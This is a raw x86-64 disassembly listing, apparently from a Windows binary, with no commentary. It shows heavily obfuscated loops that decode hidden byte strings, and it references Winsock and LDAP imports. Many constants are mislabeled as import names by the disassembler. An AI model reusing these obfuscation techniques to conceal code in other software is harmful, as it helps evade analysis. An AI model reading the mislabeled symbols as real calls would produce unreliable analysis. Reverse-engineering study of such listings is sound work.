mov dword [rbp + 0xef5], eax
mov word [rbp + 0xef9], ax
movabs rsi, 0x2704de9503c5828c
movabs r12, 0xc4e7d9d655834f5c
movabs r14, 0xe9e347606e4c16f4
movabs r15, 0x601393b3c345783c
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r9, qword [0x140220a80]
mov r8, qword [0x140220a78]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x14009f795
movzx r11d, byte [rbp + rdi + 0xec8]
mov rbx, r11
nop dword [rax + rax]
cmp r9, rdi
ja 0x14009f789
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14009ea33
lea rcx, [rdi + r12]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
add r10b, 0x7c
jmp 0x14009ea86
je 0x14009f6f2
inc rax
cmp r9, rax
je 0x14009f681
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009f623
lea rax, [r8 + 2]
cmp r9, rax
je 0x14009f5e7
lea rax, [r8 + 7]
cmp r9, rax
je 0x14009f5b8
lea rax, [r8 + 5]
cmp r9, rax
je 0x14009f586
lea rax, [r8 + 4]
cmp r9, rax
je 0x14009f530
cmp r8, rdi
ja 0x14009f77d
lea rax, [r8 + 0x20]
cmp r9, rax
jae 0x14009eabc
lea rdx, [rdi + rsi]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009eaf0
lea rax, [r8 + 1]
cmp r9, rax
je 0x14009f51c
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009f508
lea rax, [r8 + 5]
cmp r9, rax
je 0x14009f4f4
lea rax, [r8 + 6]
cmp r9, rax
je 0x14009f4be
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14009f122
nop dword [rax]
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009f10e
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x14009f0dc
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x14009f0c8
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x14009f0a2
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x14009f08e
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x14009f055
lea rax, [r8 + 9]
cmp r9, rax
je 0x14009f02c
lea rax, [r8 + 8]
cmp r9, rax
je 0x14009f003
lea rax, [r8 + 0x64]
cmp r9, rax
je 0x14009efc9
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x14009eb00
lea r9, [r8 + 0x3e8]
lea r8, [r9 + 0x7a]
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x14009f754
lea rax, [r8 + 0x2a]
cmp r9, rax
jb 0x14009f72b
lea rax, [r8 + 9]
cmp r9, rax
jb 0x14009ecf5
lea rax, [r8 + 8]
cmp r9, rax
jb 0x14009ecd5
lea rax, [r8 + 0x64]
cmp r9, rax
jb 0x14009ecb5
lea rax, [r8 + 0x42]
cmp r9, rax
jb 0x14009ef66
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x14009ef06
lea rax, [r8 + 0x61]
cmp r9, rax
jb 0x14009eeb2
lea rax, [r8 + 4]
cmp r9, rax
jb 0x14009ee7e
lea rax, [r8 + 3]
cmp r9, rax
jb 0x14009eb00
lea r9, [r8 + 8]
lea r8, [r9 + 0x20]
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x14009ee48
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x14009ee20
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x14009edf8
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x14009edc3
lea rax, [r8 + 4]
cmp r9, rax
ja 0x14009ed9e
lea rax, [r8 + 3]
cmp r9, rax
ja 0x14009ed78
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x14009ed64
lea rax, [r8 + 0x10]
cmp r9, rax
ja 0x14009ed32
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x14009ed1e
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x14009eb00
lea r9, [r8 + 0x61]
lea r8, [r9 + 0x2a]
jmp 0x14009eb00
lea rdx, [rdi + r14]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009eaf0
lea rdx, [rdi + r15]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009ea86
movabs rdx, 0xd643e007183ed984
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009e9f5
movabs rdx, 0x3826f4a81e2c1460
mov ecx, Ordinal_50
jmp 0x14009f53f
movabs rdx, 0xae5740fb732575a8
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r8
dec rdi
inc rdi
jmp 0x14009e9e2
movabs rdx, 0x24878d4ec81ed6f0
mov ecx, gethostname
jmp 0x14009f5c7
movabs rdx, 0x9ab7d9a21d183838
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009f466
movabs rcx, 0x10e825f572119980
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
jmp 0x14009f60b
movabs rcx, 0x87187248c70afac8
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009e9e2
movabs rdx, 0xfd48be9c1c045c10
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x70
add r10b, dl
jmp 0x14009f649
movabs rdx, 0x73790aef70fdbd58
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x68
add r10b, dl
jmp 0x14009f6a8
movabs rcx, 0xe9a95742c5f71ea0
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
movzx eax, byte [rbp + rdi + 0xec8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009e9e2
movabs rdx, 0x112216131a6691d4
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
mov byte [rbp + rdi + 0xec8], r10b
inc rdi
jmp 0x14009e9e2
movabs rdx, 0x875262666f5ff31c
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r8, 0x42
jb 0x14009eea2
movabs rdx, 0x7460cb6612519ea8
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x30]
jmp 0x14009f554
movabs rdx, 0xfd82aeb9c4595464
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r9, 0x2a
jae 0x14009f442
lea rax, [r8 + 4]
cmp r9, rax
jbe 0x14009f398
movabs rdx, 0x1243c6a7640f6b78
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x48
jmp 0x14009eed3
movabs rdx, 0x73b2fb0d1952b5ac
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 0x20
je 0x14009f498
lea rax, [r8 + 0x64]
cmp r9, rax
jbe 0x14009f297
movabs rcx, 0xeb3ee8126049e8ec
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x74
jmp 0x14009ef2a
movabs rdx, 0xea1d377e16a10f48
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0xec8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009e9e2
movabs rdx, 0x604d83d16b9a7090
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009f6a8
movabs rdx, 0xd67dd024c093d1d8
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009f649
movabs rdx, 0x4cae1c78158d3320
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009e9e2
movabs rdx, 0xc2de68cb6a869468
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14009f5f6
movabs rdx, 0x390eb51ebf7ff5b0
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009f466
movabs rdx, 0xaf3f0172147956f8
mov ecx, Ordinal_30
jmp 0x14009f5c7
movabs rdx, 0x256f4dc56972b840
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r8
dec rdi
inc rdi
jmp 0x14009e9e2
movabs rdx, 0x9b9f9a18be6c1988
mov ecx, 0x24
jmp 0x14009f53f
lea rax, [r8 + 0x61]
cmp r9, rax
jae 0x14009f143
lea rdx, [rdi + r12]
movzx eax, r11b
and al, dl
mov ecx, 0x3e
jmp 0x14009ef7e
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14009f18a
movabs rdx, 0x4e09bd2a078b0518
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0xec8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009e9e2
inc rax
cmp r9, rax
jne 0x14009f1bf
movabs rdx, 0xd7d970d6b291a3d0
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009f6a8
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009f1f5
movabs rdx, 0x61a924835d984288
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009f649
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14009f216
movabs rdx, 0x75488bdcb3a57ff8
mov ecx, Ordinal_30
jmp 0x14009f5f6
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14009f237
movabs rdx, 0x88e7f33609b2bd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14009f5c7
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14009f276
movabs rdx, 0x12b7a6e2b4b95c20
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r8
dec rdi
inc rdi
jmp 0x14009e9e2
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14009ef8a
movabs rdx, 0x9c875a8f5fbffad8
mov ecx, listen
jmp 0x14009f53f
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14009f2c9
movabs rdx, 0x750e9bbf0b5087a4
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7c
jmp 0x14009f551
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14009f2ea
movabs rdx, 0x88ae0318615dc514
mov ecx, Ordinal_60
jmp 0x14009f5c7
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14009f30b
movabs rdx, 0x9c4d6a71b76b0284
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14009f5f6
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009f351
movabs rdx, 0x261d1e1e6271a13c
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009e9e2
lea rax, [r8 + 9]
cmp r9, rax
jne 0x14009ef2a
movabs rdx, 0xc38c392463857d64
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0xec8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009e9e2
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14009f3db
movabs rcx, 0x9c137a540f160a30
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x50
movzx eax, byte [rbp + rdi + 0xec8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009e9e2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14009f410
movabs rdx, 0xafb2e1ad652347a0
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x60
add r10b, dl
jmp 0x14009f649
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009eed6
movabs rcx, 0xc3524906bb308510
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
jmp 0x14009f60b
movabs rdx, 0xfe307f12bd583d60
add rdx, rdi
movzx eax, r11b
and al, dl
movzx ecx, byte [rbp + rdi + 0xec8]
sub cl, al
add cl, 0x30
lea r10d, [rcx + rcx]
add r10b, dl
movabs rdx, 0xc31858e912db8cbc
add rdx, rdi
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x24
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0xec8], cl
jmp 0x14009f60b
movabs rdx, 0x880032bf685edc18
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14009f649
movabs rcx, 0xff522fa707011704
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1c
movzx eax, byte [rbp + rdi + 0xec8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009e9e2
movabs rdx, 0xd81360f45ae69c24
mov ecx, 2
jmp 0x14009f5f6
movabs rdx, 0xc473f99b04d95eb4
mov ecx, 0xa
jmp 0x14009f5c7
movabs rdx, 0xb0d49241aecc2144
mov ecx, reloc.WS2_32.dll_select
jmp 0x14009f53f
movabs rdx, 0x9d352ae858bee3d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, rdi
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rcx, 0x3948a53c67d4ee04
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x1c
add cl, r11b
mov byte [rbp + rdi + 0xec8], cl
inc r8
dec rdi
inc rdi
jmp 0x14009e9e2
movabs rdx, 0x1365773badb8451c
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r8
dec rdi
inc rdi
jmp 0x14009e9e2
movabs rdx, 0x8995c38f02b1a664
mov ecx, Ordinal_35
add rdx, rdi
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rdi
inc rdi
jmp 0x14009e9e2
movabs rdx, 0x75f65c35aca468f4
mov ecx, Ordinal_46
add rdx, rdi
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r9, r8
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009e9e2
mov r11, rbx
movabs rdx, 0x6256f4dc56972b84
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movabs rdx, 0x4ce80c95bde22b74
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x2c
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xec8], al
inc r8
add rax, r8
sub rdi, rax
jmp 0x14009f6a8
movabs rdx, 0xd887412fab908ccc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx r11d, bl
movabs rdx, 0x11cfe66c13657ad0
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0xec8], cl
inc r9
mov rax, r13
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0xec8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009e9e2
movabs rdx, 0x4eb78d830089ee14
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0xec8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009e9e2
movabs rdx, 0x4c742c5a6d383acc
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009e9e0
movabs rdx, 0xc2a478adc2319c14
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009e9d0
lea r14, [rbp + 0x1796098]
jmp 0x14009f79c
lea r14, [rbp + 0x13caff4]
jmp 0x14009f79c
lea r14, [rbp + 0xec8]
lea rdx, [0x14021aa70]
lea rcx, [rbp + 0x3a0]
call fcn.1400022f0
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xb0]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002490
cmp byte [rsi + 0x38], 0
jne 0x1400a26f3
mov byte [rbp + 0x9f0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x9f1], Ordinal_41
mov byte [rbp + 0x9f2], gethostname
mov byte [rbp + 0x9f3], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x9f4], reloc.WS2_32.dll_recv
mov byte [rbp + 0x9f5], 4
mov byte [rbp + 0x9f6], Ordinal_33
mov byte [rbp + 0x9f7], Ordinal_200
mov byte [rbp + 0x9f8], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x9f9], Ordinal_50
mov byte [rbp + 0x9fa], Ordinal_50
mov byte [rbp + 0x9fb], Ordinal_200
mov byte [rbp + 0x9fc], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x9fd], select
mov byte [rbp + 0x9fe], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x9ff], 0xef
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa00], xmm0
mov word [rbp + 0xa10], ax
mov byte [rbp + 0xa12], al
movabs r12, 0x1d099d135c8d5b9c
movabs r15, 0xc438498340c0bdb4
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
movabs rdx, 0x1003910ac2e8a974
movabs rcx, 0x61c9e296979883cc
cmp rdi, 0x23
jae 0x1400a046a
movzx r10d, byte [rbp + rdi + 0x9f0]
mov ebx, r10d
nop dword [rax]
cmp r8, rdi
ja 0x1400a045e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009f90d
lea rcx, [rdi + r12]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x44
movabs rcx, 0x61c9e296979883cc
jmp 0x14009f946
je 0x1400a03cb
inc rax
cmp r8, rax
je 0x1400a0398
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a035c
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a02fa
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a02cb
cmp r9, rdi
ja 0x1400a0452
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x14009f97c
add rcx, rdi
movzx eax, r10b
and al, cl
mov r11d, gethostname
sub r11b, al
add r11b, r11b
add r11b, r10b
add r11b, cl
jmp 0x14009f9b0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a0276
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a0255
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a01bc
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400a0193
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14009fe43
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14009fe1f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009fded
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14009fdc3
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14009fd8a
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009fd66
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14009fd3d
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400a0429
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400a0404
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14009fae3
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14009fc73
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14009fc44
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14009f9c0
lea r8, [r9 + 0x80]
lea r9, [r8 + 4]
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14009fc0f
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14009fbe6
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14009fbc2
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14009fb89
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14009fb5a
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14009fb2c
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14009fb03
lea r8, [r9 + 2]
lea r9, [r8 + 6]
jmp 0x14009f9c0
lea rdx, [rdi + r15]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14009f9b0
movabs rdx, 0xe4f14b4bcc41e60
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a0299
movabs rcx, 0xd43bda8e03a96728
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x18
inc r9
dec rdi
inc rdi
jmp 0x14009f8a2
movabs rdx, 0x9a28a0674a8eaff0
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x14009f8a2
movabs rdx, 0xebeef1f31f3e8a48
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009f8a2
movabs rcx, 0xb1dbb7cc6623d310
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x1400a01db
movabs rdx, 0x77c87da5ad091bd8
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a020b
movabs rcx, 0x3db5437ef3ee64a0
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
movzx eax, byte [rbp + rdi + 0x9f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009f8a2
movabs rcx, 0xac85321e252b9a94
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xc
mov byte [rbp + rdi + 0x9f0], r11b
inc rdi
jmp 0x14009f8a2
movabs rcx, 0xfe4b83a9f9db74ec
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x74
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x1400a0168
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14009ff5a
movabs rcx, 0xeb4a6d9d0daed42c
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x34
cmp r8, 2
jae 0x1400a013c
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400a0026
movabs rdx, 0x4d145033a54757f8
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r9, 4
jb 0x14009fc63
movabs rcx, 0x91d495b6e0528028
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0x30]
jmp 0x1400a0299
movabs rdx, 0x10a81560d4785f90
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a020b
movabs rcx, 0xd694db3a1b5da858
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
jmp 0x1400a01db
movabs rdx, 0x9c81a1136242f120
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009f8a2
movabs rcx, 0xee47f29f36f2cb78
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x48
dec rdi
inc rdi
jmp 0x14009f8a2
movabs rdx, 0xb434b8787dd81440
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rdi
inc rdi
jmp 0x14009f8a2
movabs rcx, 0x7a217e51c4bd5d08
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
jmp 0x1400a0299
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x14009fe6b
lea rcx, [rdi + r12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x44
jmp 0x14009fc92
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009fead
movabs rcx, 0xc393c52d2f310798
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
movzx eax, byte [rbp + rdi + 0x9f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009f8a2
inc rax
cmp r8, rax
jne 0x14009fedd
movabs rcx, 0x37ba397aa1667608
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
jmp 0x1400a01db
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009ff23
movabs rdx, 0x71cd73a15a812d40
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009f8a2
lea rax, [r9 + 2]
cmp r8, rax
